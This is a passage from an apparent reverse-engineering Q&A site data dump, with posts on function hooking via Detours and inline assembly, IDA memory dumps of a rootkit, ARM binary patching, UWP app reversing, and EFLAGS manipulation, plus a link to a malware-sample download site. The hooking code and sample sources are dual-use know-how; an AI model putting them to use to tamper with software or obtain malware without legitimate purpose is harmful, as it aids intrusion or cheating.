sub_4F3E6D+21D↑j&#xA;.text:004F40AA                 cmp     byte ptr [esi+22h], 0&#xA;.text:004F40AE                 jnz     short loc_4F40E2&#xA;.text:004F40B0                 mov     eax, [esi+0Ch]&#xA;.text:004F40B3                 movd    xmm1, dword ptr [eax+0ACh]&#xA;.text:004F40BB                 mov     eax, [eax+9Ch]&#xA;.text:004F40C1                 cvtdq2ps xmm1, xmm1&#xA;.text:004F40C4                 movd    xmm0, eax&#xA;.text:004F40C8                 cvtdq2pd xmm0, xmm0&#xA;.text:004F40CC                 shr     eax, 1Fh&#xA;.text:004F40CF                 addsd   xmm0, ds:qword_82C2D0[eax*8]&#xA;.text:004F40D8                 cvtpd2ps xmm0, xmm0&#xA;.text:004F40DC                 divss   xmm1, xmm0&#xA;.text:004F40E0                 jmp     short loc_4F40EA&#xA;.text:004F40E2 ; ---------------------------------------------------------------------------&#xA;.text:004F40E2&#xA;.text:004F40E2 loc_4F40E2:                             ; CODE XREF: sub_4F3E6D+241↑j&#xA;.text:004F40E2                 movss   xmm1, ds:dword_82A910&#xA;.text:004F40EA&#xA;.text:004F40EA loc_4F40EA:                             ; CODE XREF: sub_4F3E6D+273↑j&#xA;.text:004F40EA                 mov     eax, [esp+0C0h+var_B0]&#xA;.text:004F40EE                 push    offset sub_4F37D5 ; PtFuncCompare&#xA;.text:004F40F3                 push    4               ; SizeOfElements&#xA;.text:004F40F5                 movss   dword ptr [eax], xmm1&#xA;.text:004F40F9                 push    dword_897634    ; NumOfElements&#xA;.text:004F40FF                 mov     [esi+14h], edi&#xA;.text:004F4102                 push    offset dword_897650 ; Base&#xA;.text:004F4107                 call    ds:qsort&#xA;.text:004F410D                 mov     edx, [esp+0D0h+var_A0]&#xA;.text:004F4111                 add     esp, 10h&#xA;.text:004F4114                 test    edx, edx&#xA;.text:004F4116                 jz      short loc_4F411C&#xA;.text:004F4118                 mov     ecx, [esi]&#xA;.text:004F411A                 mov     [edx], ecx&#xA;.text:004F411C&#xA;.text:004F411C loc_4F411C:                             ; CODE XREF: sub_4F3E6D+2A9↑j&#xA;.text:004F411C                 xor     eax, eax&#xA;.text:004F411E                 inc     eax&#xA;.text:004F411F                 jmp     loc_4F4095&#xA;.text:004F411F sub_4F3E6D      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;here there is one xref of this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int v6; // eax&#xA;  int v8; // [esp+1Ch] [ebp-8h]&#xA;  int v9; // [esp+20h] [ebp-4h]&#xA;&#xA;  v9 = 0;&#xA;  v6 = sub_73A34B(a1, 0);&#xA;  sub_4F3E6D((char *)a1, v6, SLODWORD(a4), (int)&amp;amp;v9, a5, a6, 0, 0, (int)&amp;amp;v8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't have experience in assembly I have tried with this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// char __usercall sub_4F3E6D@&amp;lt;al&amp;gt;(char *Src@&amp;lt;ecx&amp;gt;, int a2@&amp;lt;edx&amp;gt;, int a3, int a4, char a5, char a6, char a7, char a8, int a9)&#xA;    &#xA;    typedef char(__fastcall *HookFile) (char* src, int a2, int a3, int a4, char a5, char a6, char a7, char a8, int a9);&#xA;    &#xA;    __declspec(naked) char HookSoundFileSub(char* src, int a2, int a3, int a4, char a5, char a6, char a7, char a8, int a9)&#xA;    {&#xA;        HookFile originalFunction = (HookFile)AddressOfHookSoundFunction; // 0x4F4463&#xA;    &#xA;        __asm {&#xA;            mov ecx, src&#xA;            mov edx, a2&#xA;            call AddressOfHookSoundFunction&#xA;        }&#xA;    &#xA;    &#xA;        // Apply  my code&#xA;        // std::string FileName;&#xA;        // FileName = SC::To_String(src);&#xA;        // .....&#xA;        &#xA;        return originalFunction(src, a2,a3,a4,a5,a6,a7,a8,a9);&#xA;    }&#xA;&#xA;&#xA;&#xA;   // DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfHookSoundFunction, &amp;amp;HookSoundFileSub);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but not compile becouse naked function seem not allow to add code apart the assembly.&lt;/p&gt;&#xA;&lt;p&gt;Can you help me please ?&lt;/p&gt;&#xA;" OwnerUserId="33776" LastActivityDate="2020-11-16T23:03:48.880" Title="how to hook __usercall function with microsoft detours" Tags="|ida|c++|function-hooking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26310" PostTypeId="2" ParentId="9279" CreationDate="2020-11-16T01:58:17.057" Score="0" Body="&lt;p&gt;You can also obtain files from &lt;a href=&quot;https://www.virussamples.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.virussamples.com&lt;/a&gt; and download many ELF and PE files among others.  There are daily batches available.&lt;/p&gt;&#xA;" OwnerUserId="34928" LastActivityDate="2020-11-16T01:58:17.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26312" PostTypeId="1" AcceptedAnswerId="26325" CreationDate="2020-11-16T08:59:32.317" Score="1" ViewCount="215" Body="&lt;p&gt;When i take memory snapshot with IDA to try to analyze it statically later, the problem is there are a lot of symbols that get lost when i dump the memory, how can i solve this?&lt;/p&gt;&#xA;&lt;p&gt;for example this is the dump before :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;rootkit:84582008 40 DE A4 82                             dd offset nt_memcpy&#xA;rootkit:8458200C C1 BA C7 82                             dd offset nt_RtlFreeUnicodeString&#xA;rootkit:84582010 10 AF AC 82                             dd offset nt_RtlEqualString&#xA;rootkit:84582014 20 D5 A4 82                             dd offset nt_RtlInitAnsiString&#xA;rootkit:84582018 BA 6A B3 82                             dd offset nt_ExFreePoolWithTag&#xA;rootkit:8458201C 9B D2 C7 82                             dd offset nt_RtlUnicodeStringToAnsiString&#xA;rootkit:84582020 05 60 B3 82                             dd offset nt_ExAllocatePoolWithTag&#xA;rootkit:84582024 58 12 A5 82                             dd offset nt_ZwQuerySystemInformation&#xA;rootkit:84582028 C0 E4 A4 82                             dd offset nt_memset&#xA;rootkit:8458202C DC 01 A5 82                             dd offset nt_ZwClose&#xA;rootkit:84582030 1C 03 A5 82                             dd offset nt_ZwCreateFile&#xA;rootkit:84582034 35 9A C3 82                             dd offset nt_RtlEqualUnicodeString&#xA;rootkit:84582038 6F DF C7 82                             dd offset nt_ObQueryNameString&#xA;rootkit:8458203C 83 D2 A8 82                             dd offset nt_ObfDereferenceObjec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after i take the memory snapshot and detach from kernel :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;rootkit:84582000                 dd 82A851FEh&#xA;rootkit:84582004                 dd 82A84D9Bh&#xA;rootkit:84582008                 dd 82A4DE40h&#xA;rootkit:8458200C                 dd 82C7BAC1h&#xA;rootkit:84582010                 dd 82ACAF10h&#xA;rootkit:84582014                 dd 82A4D520h&#xA;rootkit:84582018                 dd 82B36ABAh&#xA;rootkit:8458201C                 dd 82C7D29Bh&#xA;rootkit:84582020                 dd 82B36005h&#xA;rootkit:84582024                 dd 82A51258h&#xA;rootkit:84582028                 dd 82A4E4C0h&#xA;rootkit:8458202C                 dd 82A501DCh&#xA;rootkit:84582030                 dd 82A5031Ch&#xA;rootkit:84582034                 dd 82C39A35h&#xA;rootkit:84582038                 dd 82C7DF6Fh&#xA;rootkit:8458203C                 dd 82A8D283h &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30154" LastEditorUserId="30154" LastEditDate="2020-11-16T12:19:29.737" LastActivityDate="2020-11-17T23:09:27.703" Title="How to keep symbols when taking memory snapshot with IDA?" Tags="|ida|windows|unpacking|dumping|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26313" PostTypeId="1" CreationDate="2020-11-16T09:01:53.847" Score="1" ViewCount="735" Body="&lt;p&gt;Is it possible to patch arm lib in a way that changes branch instruction calling one function to another function call?&lt;/p&gt;&#xA;&lt;p&gt;I have instruction&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;B function_a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and want change it to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;B function_b &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34933" LastActivityDate="2021-04-15T23:48:21.450" Title="Change function call to another function call in arm using IDA" Tags="|ida|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26314" PostTypeId="2" ParentId="21225" CreationDate="2020-11-16T09:13:45.950" Score="2" Body="&lt;p&gt;I was doing a similar research and apparently there's no way to read it. STC says that it's a &amp;quot;feature&amp;quot; of their microcontrollers, the bootloader protects the code.&lt;/p&gt;&#xA;&lt;p&gt;Links related to this question for anyone who might be interested:&#xA;&lt;a href=&quot;https://github.com/grigorig/stcgal/issues/7&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/grigorig/stcgal/issues/7&lt;/a&gt;&#xA;&lt;a href=&quot;https://embdev.net/topic/404939&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://embdev.net/topic/404939&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/grigorig/stcgal/issues/18&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/grigorig/stcgal/issues/18&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34934" LastActivityDate="2020-11-16T09:13:45.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26315" PostTypeId="2" ParentId="26289" CreationDate="2020-11-16T14:50:39.073" Score="2" Body="&lt;p&gt;So, the term &lt;em&gt;copy_block&lt;/em&gt; seems to be an invention of the  forum poster. It is &lt;strong&gt;not&lt;/strong&gt;  specific to Tricore but a general approach used in many embedded firmwares to solve the following problem:&lt;/p&gt;&#xA;&lt;p&gt;The firmware runs from read-only flash memory, but in some situations you need parts of it in RAM, either because you need writable data, or for speed (often code in RAM runs much faster than from flash).&lt;/p&gt;&#xA;&lt;p&gt;To solve this, usually there is some code which performs copying of blocks of data from flash to RAM, and it can us either hardcoded addresses or a separate table. Generally, such table would consist of multiple records (which are called &lt;code&gt;copy_block&lt;/code&gt; by the poster) with the following information:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Source address (address of original data in flash)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Target address (destination in RAM)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Size of data to copy&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;There is no standard procedure to find such routines; basically you need to look for functions that copy data around and possibly get the addresses and size from a table. Usually such functions are called early in the firmware initialization process.&lt;/p&gt;&#xA;&lt;p&gt;After identifying the routine you can simulate its behavior by copying the bytes from FLASH to RAM segments using information from the table. A script similar to memcpy.idc shipped with IDA could be used for this.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-16T14:50:39.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26316" PostTypeId="2" ParentId="26282" CreationDate="2020-11-16T18:40:40.590" Score="1" Body="&lt;p&gt;It seems you have an array of records of the following format:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct msg_rec&#xA;{&#xA; char len;&#xA; char __far *string;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(possibly the fields are swapped)&lt;/p&gt;&#xA;&lt;p&gt;In such case a good strategy is to scroll up until the first read or offset xref - that should be the code which walks or indexes the array and retrieves the string address.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-16T18:40:40.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26317" PostTypeId="2" ParentId="25288" CreationDate="2020-11-16T20:47:39.247" Score="2" Body="&lt;p&gt;I was wondering the same thing. The idea behind these instructions is to split QWORD in two DWORDs, then to make two floating point numbers corresponding to each and add them up. Here's how this seems to work:&lt;/p&gt;&#xA;&lt;p&gt;Operands in the snippet look incomplete, let's add missing higher QWORDs to operands:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;movq      xmm0, rcx&#xA;punpckldq xmm0, 0x00000000000000004530000043300000 &#xA;subpd     xmm0, 0x45300000000000004330000000000000&#xA;haddpd    xmm0, xmm0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;First &lt;em&gt;MOVQ&lt;/em&gt; copies QWORD from RCX to lower half of XMM0. Then, &lt;em&gt;PUNPCKLDQ&lt;/em&gt; instruction is used to construct two double precision floats in XMM0. It interleaves two DWORDs from source and destination. In pseudocode this can look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;xmm0 = ((0x43300000&amp;lt;&amp;lt;32)|xmm0[0:31]) | (((45300000&amp;lt;&amp;lt;32)|xmm0[32:63])&amp;lt;&amp;lt;64)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As a result each of the doubles is made of two parts: some magic constant + 32 bits of integer data. In order to understand what these magics do, we need to look at memory layout of a double.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gMsHY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gMsHY.png&quot; alt=&quot;double precision memory layout&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, the magic sets &lt;em&gt;sign&lt;/em&gt;, &lt;em&gt;exponent&lt;/em&gt; and 20 higher bits of &lt;em&gt;fraction&lt;/em&gt;. For the first double (the one with 0x43300000 magic) the &lt;em&gt;exponent&lt;/em&gt; is set to 1075 which makes contribution of least significant bit in &lt;em&gt;fraction&lt;/em&gt; to be exactly 1. This trick allows to substitute fraction bits with any unsigned integer input without conversion.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LSB_contribution: 2^(1075-1023)*2^(-52) = 2^52*2^(-52) = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The second magic sets &lt;em&gt;exponent&lt;/em&gt; to 1107 to make contribution of LSB equal to 2^32 instead of 1 to match magnitudes of bits in higher DWORD.&lt;/p&gt;&#xA;&lt;p&gt;Since floating point representation has implicit 1 bit added to fraction the resulting values has constant offset, which is removed by &lt;em&gt;SUBPD&lt;/em&gt; instruction. It subtracts&#xA;double values with same magic constants and all &lt;em&gt;fraction&lt;/em&gt; bits set to 0.&lt;/p&gt;&#xA;&lt;p&gt;At this point XMM0 contains two double values that correspond to DWORDS of input that can be summed with &lt;em&gt;HADDPD&lt;/em&gt; to obtain the final result in lower half of XMM0 (so this is 64 bit unsigned integer to 64 bit floating point conversion).&lt;/p&gt;&#xA;" OwnerUserId="34938" LastEditorUserId="34938" LastEditDate="2020-11-16T23:32:36.243" LastActivityDate="2020-11-16T23:32:36.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26318" PostTypeId="2" ParentId="26313" CreationDate="2020-11-16T22:15:05.900" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/29737035/can-someone-explain-the-branch-opcode-in-arm&quot;&gt;this answer&lt;/a&gt; for details on how branch instructions are encoded on ARM. Here's what you should do:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set &lt;code&gt;Options-&amp;gt;General-&amp;gt;Number of opcode bytes&lt;/code&gt; to 4 (if it was 0 initially)&lt;/li&gt;&#xA;&lt;li&gt;Find any &lt;code&gt;B&lt;/code&gt; instruction.&lt;/li&gt;&#xA;&lt;li&gt;Just to make sure you understand it, work out the displacement from &lt;code&gt;pc+8&lt;/code&gt; at the &lt;code&gt;B&lt;/code&gt; instruction to the destination, and verify that the displacement in the instruction matches what you expect.&lt;/li&gt;&#xA;&lt;li&gt;Calculate the displacement to the target to which you wish to branch instead.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;Edit-&amp;gt;Patch program-&amp;gt;Change byte&lt;/code&gt; to modify the current instruction. IDA will update the display, so you can tell whether you've succeeded or not. If you haven't, keep messing with it until you get the bytes you want.&lt;/li&gt;&#xA;&lt;li&gt;To generate a patch file, you can use &lt;code&gt;File-&amp;gt;Produce file-&amp;gt;Create .DIF file&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-16T22:15:05.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26319" PostTypeId="2" ParentId="26309" CreationDate="2020-11-16T23:03:48.880" Score="1" Body="&lt;p&gt;As your question indicates, you need to move all of the non-assembly code out of the &lt;code&gt;naked&lt;/code&gt; function. Although I've never actually used Detours before -- I wrote my own hooking library -- what I would do would be to write a little stub that allowed me to call the &lt;code&gt;__usercall&lt;/code&gt; function with an ordinary calling convention.&lt;/p&gt;&#xA;&lt;p&gt;Be careful with the calling conventions. It will be easy to mess up the stack corrections, causing a crash. Debugging stuff like this is part of the job when you get into binary hooking. If you experience crashes, set a breakpoint at the beginning and end of all assembly sequences, and write down the value of &lt;code&gt;esp&lt;/code&gt; at each of those points.&lt;/p&gt;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Here's your hook, the ASM part. It just redirects execution to the _C function below&#xA;// Note I removed the first two arguments, the ones in registers&#xA;__declspec(naked) __cdecl char HookSoundFileSub_ASM(int a3, int a4, char a5, char a6, char a7, char a8, int a9)&#xA;{&#xA;    __asm {&#xA;        push a9&#xA;        push a8&#xA;        push a7&#xA;        push a6&#xA;        push a5&#xA;        push a4&#xA;        push a3&#xA;        push edx // a2 in edx&#xA;        push ecx // src in ecx&#xA;        call HookSoundFileStub_C&#xA;        ret // Don't need to correct the stack here&#xA;    }&#xA;}&#xA;&#xA;// Here's your hook, the C part. Do whatever you want in here&#xA;char __stdcall HookSoundFileStub_C(char* src, int a2, int a3, int a4, char a5, char a6, char a7, char a8, int a9)&#xA;{&#xA;    // Your original hook code&#xA;    // Apply  my code&#xA;    // std::string FileName;&#xA;    // FileName = SC::To_String(src);&#xA;    &#xA;    // Call the original function&#xA;    return CallOriginalFunction(src, a2, a3, a4, a5, a6, a7, a8, a9);&#xA;}&#xA;&#xA;// We moved this outside of the naked function&#xA;DWORD AddressOfHookSoundFunction = 0x4F4463;&#xA;&#xA;// This just allows us to call the original function from C code&#xA;__declspec(naked) __stdcall char CallOriginalFunction(char* src, int a2, int a3, int a4, char a5, char a6, char a7, char a8, int a9)&#xA;{&#xA;    __asm {&#xA;        mov ecx, src&#xA;        mov edx, a2&#xA;        push a9&#xA;        push a8&#xA;        push a7&#xA;        push a6&#xA;        push a5&#xA;        push a4&#xA;        push a3&#xA;        mov eax, AddressOfHookSoundFunction&#xA;        call eax&#xA;        add esp, 1ch // Target doesn't clear the stack, so do that&#xA;        retn 24h // Also clear the arguments passed to this function&#xA;    }&#xA;}&#xA;&#xA;// DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfHookSoundFunction, &amp;amp;HookSoundFileSub_ASM);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-16T23:03:48.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26320" PostTypeId="2" ParentId="23289" CreationDate="2020-11-17T05:10:42.717" Score="4" Body="&lt;p&gt;UWP is a container/platform, different reversing techniques are needed depending on the executable content. .NET UWP apps can be compiled to CLR, then you can use standard .NET decompilation techniques i.e. JustDecompile, .NET Reflector, etc. To identify if it is .NET you can use a tool such as &lt;a href=&quot;https://ntcore.com/?page_id=388&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFF Explorer&lt;/a&gt; and it will list the file type as &lt;strong&gt;Portable Executable 32/64 .NET Assembly&lt;/strong&gt; if .NET tools will be suitable. You will also see in the import directory &lt;strong&gt;mscoree.dll&lt;/strong&gt; is listed.&lt;/p&gt;&#xA;&lt;p&gt;However UWP .NET apps can also be compiled to &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/framework/net-native/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.NET Native&lt;/a&gt;&#xA;In addition UWP apps can be written in &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/cppcx/universal-windows-apps-cpp?view=msvc-160&quot; rel=&quot;nofollow noreferrer&quot;&gt;C++/CX&lt;/a&gt; and compiled directly to native code.&lt;/p&gt;&#xA;&lt;p&gt;These will show in CFF explorer as &lt;strong&gt;Portable Executable 32/64&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we look at WinStore.App.exe in a native code reversing tool such as IDA Pro we can see it imports &lt;strong&gt;RHBinder_ShimExeMain&lt;/strong&gt; from &lt;strong&gt;WinStoreApp.dll&lt;/strong&gt; and it's entry point just jumps to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public start&#xA;start proc near&#xA;jmp     cs:RHBinder__ShimExeMain&#xA;start endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We open this DLL and see this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public RHBinder__ShimExeMain&#xA;RHBinder__ShimExeMain proc near&#xA;push    rbp&#xA;mov     rbp, rsp&#xA;sub     rsp, 20h&#xA;call    sub_1817A55B4&#xA;lea     rsp, [rbp+0]&#xA;pop     rbp&#xA;retn&#xA;RHBinder__ShimExeMain endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which simply calls this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sub_1817A55B4 proc near&#xA;; __unwind { // 182523A80&#xA;push    rbp&#xA;mov     rbp, rsp&#xA;sub     rsp, 30h&#xA;lea     rax, [rbp-10h]&#xA;call    cs:RhpReversePInvoke&#xA;call    cs:CreateCommandLine&#xA;mov     rcx, rax&#xA;call    sub_18173A000&#xA;xor     eax, eax&#xA;lea     rcx, [rbp-10h]&#xA;call    cs:RhpReversePInvokeReturn&#xA;lea     rsp, [rbp+0]&#xA;pop     rbp&#xA;retn&#xA;; } // starts at 1817A55B4&#xA;sub_1817A55B4 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using a tool like Hex Rays Decompiler you can get pseudocode representation in C:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;__int64 sub_1817A55B4()&#xA;{&#xA;  __int64 v0; // rax&#xA;  char v2[16]; // [rsp+20h] [rbp-10h] BYREF&#xA;&#xA;  RhpReversePInvoke();&#xA;  v0 = CreateCommandLine();&#xA;  sub_18173A000(v0);&#xA;  return RhpReversePInvokeReturn(v2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If we look at DllEntryPoint of the DLL we find the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)&#xA;{&#xA;  BOOL result; // eax&#xA;&#xA;  if ( *(_QWORD *)&amp;amp;fdwReason == 1i64 )&#xA;    result = sub_1817A5650(hinstDLL, 1i64, lpReserved);&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If we follow sub_1817A5650 and sub functions it calls we end up at:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;__int64 sub_1817A55FC()&#xA;{&#xA;  char v1[16]; // [rsp+20h] [rbp-10h] BYREF&#xA;&#xA;  RhpReversePInvoke();&#xA;  RhpSuppressGcStress();&#xA;  RhpRegisterModule(&amp;amp;unk_180001000);&#xA;  nullsub_1();&#xA;  nullsub_1();&#xA;  nullsub_1();&#xA;  nullsub_1();&#xA;  RhpUnsuppressGcStress();&#xA;  return RhpReversePInvokeReturn(v1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;unk_180001000 points to the following:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/V6YWj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V6YWj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Working out the purposes of these API calls and this data structures will help you reverse the UWP apps.&lt;/p&gt;&#xA;&lt;p&gt;I would use tools such as &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro with Hex Rays Decompiler&lt;/a&gt; or &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However if you are coming from .NET decompilation, do not expect this to be nearly as easy or for automatic tools to produce results that look like nearly compilable code. It is significantly more effort reversing native code.&lt;/p&gt;&#xA;&lt;p&gt;If we launch the app with &lt;a href=&quot;https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;WinDbg Preview&lt;/strong&gt;&lt;/a&gt; from Windows store using &lt;strong&gt;File&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Launch App Package&lt;/strong&gt; method we can see this app loads the .NET Native runtime as modules load. This explains why the standard .NET reversing tools will not work on this EXE:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ModLoad: 00007ff9`b6280000 00007ff9`b6306000   C:\Program Files\WindowsApps\Microsoft.NET.Native.Runtime.2.2_2.2.28604.0_x64__8wekyb3d8bbwe\mrt100_app.dll&#xA;ModLoad: 00007ff9`b34f0000 00007ff9`b41bd000   C:\Program Files\WindowsApps\Microsoft.NET.Native.Framework.2.2_2.2.27912.0_x64__8wekyb3d8bbwe\SharedLibrary.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If trying to identify how some specific behavior works it may be easier to use the debugger.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/winrt-cref/winmd-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Metadata (WinMD)&lt;/a&gt; files in the app's folder can be browsed with some .NET decompiler tools and allow you to browse interface/type definitions but these don't contain code as far as I know.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-17T05:43:18.310" LastActivityDate="2020-11-17T05:43:18.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26322" PostTypeId="2" ParentId="26305" CreationDate="2020-11-17T12:34:39.223" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-1-manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel's manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;3.4.3.1&#xA;Status Flags&#xA;The status flags (bits 0, 2, 4, 6, 7, and 11) of the EFLAGS register indicate the results of arithmetic instructions, such as the ADD, SUB, MUL, and DIV instructions. The status flag functions are:&#xA;CF (bit 0) Carry flag — Set if an arithmetic operation generates a carry or a borrow out of the most- significant bit of the result; cleared otherwise. This flag indicates an overflow condition for unsigned-integer arithmetic. It is also used in multiple-precision arithmetic.&#xA;PF (bit 2) Parity flag — Set if the least-significant byte of the result contains an even number of 1 bits; cleared otherwise.&#xA;AF (bit 4) Auxiliary Carry flag — Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result; cleared otherwise. This flag is used in binary-coded decimal (BCD) arithmetic.&#xA;ZF (bit 6) Zero flag — Set if the result is zero; cleared otherwise.&#xA;SF (bit 7) Sign flag — Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a positive value and 1 indicates a negative value.)&#xA;OF (bit 11) Overflow flag — Set if the integer result is too large a positive number or too small a negativenumber (excluding the sign-bit) to fit in the destination operand; cleared otherwise. This flag indicates an overflow condition for signed-integer (two’s complement) arithmetic.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So to set individual flags you need to operate on the individual bits&lt;/p&gt;&#xA;&lt;p&gt;to clear &lt;code&gt;n&lt;/code&gt;th bit in a &lt;code&gt;number&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;number &amp;amp;= ~(1 &amp;lt;&amp;lt; n)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For SF n = 7, so to unset SF&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;eflags &amp;amp;= ~(1 &amp;lt;&amp;lt; 7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with this simple code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv) {&#xA;    int in;&#xA;    scanf(&amp;quot;%d&amp;quot;, &amp;amp;in);&#xA;    if (in &amp;gt; 10) {&#xA;        puts(&amp;quot;greater&amp;quot;);&#xA;    } else {&#xA;        puts(&amp;quot;less&amp;quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This can be achieved easily&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[re] r2 -d test&#xA;Process with PID 17193 started...&#xA;= attach 17193 17193&#xA;bin.baddr 